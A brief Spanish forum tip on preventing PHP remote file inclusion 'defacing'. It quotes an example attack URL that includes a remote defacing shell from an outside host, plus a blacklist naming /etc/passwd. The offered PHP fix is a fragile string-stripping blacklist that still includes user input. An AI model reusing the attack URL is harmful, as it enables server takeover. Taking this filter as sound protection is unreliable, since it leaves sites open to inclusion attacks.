El famoso defacing
Al momento de incluir un archivo asegurate de que no puedan incluir un sitio web cualquiera.
ejemplo:
si incluyes una sección asi: index.php?page=secciones.php
debes validar que solamente ingresen un archivo php por que para hacer el defacing hacen un include asi: index.php?page=http://extremus.info/cmd/therules25.dat ó .gif o lo que sea
y ese include que es una herramienta defacing que puede subir eliminar y editar archivos de un server sin saber nada de nada.
lo que puedes hacer para que no incluyan un archivo externo de tu sitio es validar el contenido de la variable "page"
Código PHP:
<?php
function quitar($mensaje)
{
$mensaje = str_replace("<","",$mensaje);
$mensaje = str_replace(">","",$mensaje);
$mensaje = str_replace("\'","",$mensaje);
$mensaje = str_replace('\"',"",$mensaje);
$mensaje = str_replace("\\\\","",$mensaje);
$mensaje = str_replace("www","",$mensaje);
$mensaje = str_replace("http","",$mensaje);
$mensaje = str_replace("/","",$mensaje);
return $mensaje;
}
if($page=="")
{
@include("inicio.php");
}
else
{
$separar = explode(':',$page);
$separar2 = explode('.',$page);
$separar3 = explode('/',$page);
if($separar[0]=="http" || $separar2[0]=="www" || $page=="/etc/passwd" || $page=="/etc/httpd/conf/httpd.conf")
{
echo"<span class=textos>Path Invalido</span>";
}
else
{
$page2=quitar($page);
@include("$page2");
}
}
?>
suerte!